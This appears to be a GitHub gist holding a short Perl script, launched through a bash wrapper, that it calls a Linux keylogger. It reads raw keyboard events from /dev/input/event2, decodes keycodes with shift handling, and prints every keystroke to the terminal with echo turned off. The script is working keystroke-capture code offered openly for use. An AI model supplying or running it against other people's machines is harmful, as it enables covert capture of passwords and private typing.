Linux keylogger, in Perl

gistfile1.pl

#!/bin/bash
/usr/bin/perl -nlx "$0" /dev/input/event2
#!perl 
    # keylogger decoder
    #
    # similar programs:
    #   http://manpages.ubuntu.com/manpages/maverick/man8/logkeys.8.html
    #   http://en.usenet.digipedia.org/thread/16321/547/

    use Data::Dumper;

BEGIN {
    $/ = \16;

    ## cooked mode, echo off
    system "stty", '-icanon', '-echo', 'eol', "\001"    if -t STDOUT;
    END {
        ## reset tty mode before exiting
        system 'stty', 'icanon', 'echo', 'eol', chr(0)      if -t STDOUT;
    }

    ###############################
    ##  field1: key without shift
    ##  field2: key with shift
    @keycode =  map { [split ' '] } split /[\n\r]+/s, <<'EOF';
    ??
    <esc>
    1 !
    2 @
    3 #
    4 $
    5 %
    6 ^
    7 &
    8 *
    9 (
    0 )
    - _
    = +
    <backspace>
    <tab>
    q Q
    w W
    e E
    r R
    t T
    y Y
    u U
    i I
    o O
    p P
    [ {
    ] }
    <enter>
    <control>
    a A
    s S
    d D
    f F
    g G
    h H
    j J
    k K
    l L
    ; :
    ' "
    ???
    <shift>
    \ ?
    z Z
    x X
    c C
    v V
    b B
    n N
    m M
    , <
    . >
    / ?
    <rshift>
    *
    <alt>
    <space>
    <capslock>
    <f1>
    <f2>
    <f3>
    <f4>
    <f5>
    <f6>
    <f7>
    <f8>
    <f9>
    <f10>
    <numlock>
    <scrolllock>
    7
    8
    9
    -
    4
    5
    6
    +
    1
    2
    3
    0
    .
    ??
    ??
    ??
    <f11>
    <f12>
    ??
    ??
    ??
    <control>
    ??
    <sysrq>
    ??
    <keypad_enter>
    <rctrl>
    /
    ??
    <ralt>
    ??
    <home>
    <up>
    <pgup>
    <left>
    <right>
    <end>
    <down>
    <pgdn>
    <ins>
    <del>
    ??
    ??
    ??
    ??
    ??
    ??
    ??
    ??
    ??
    ??
    ??
    ??
    ??
    <windows>
EOF
    $keycode[57] = [' '];
    $keycode[28] = ["\n"];
    $keycode[96] = ["\n"];
    $keycode[42] = [''];        # hide shift...   these should already display properly
    $keycode[54] = [''];
    $|++;

    #print Dumper \@keycode;
}

# struct input_event {
#   struct timeval time;
#   unsigned short type;
#   unsigned short code; /* subtype */
#   unsigned int value;
# };

my %ev;
@ev{qw{ tv_sec tv_usec type code value }} = unpack "L!L!S!S!i!";
if ($ev{type} == 1) {           # keystroke
    if ($ev{value} == 1) {      # key-down
        $decoded = $keycode[$ev{code}];
        $print_decoded = $decoded->[0];
        $print_decoded = $decoded->[1]    if ($modifier_shift && $decoded->[1] && $decoded->[1] ne '??');
        #print "\r\e[K$print_decoded     $ev{code}";
        printf "$print_decoded";
    }
    if ($ev{code} == 42 || $ev{code} == 54) {        # shift
        $modifier_shift = $ev{value};
        #print($modifier_shift ? "shift down" : "shift up");
    }
}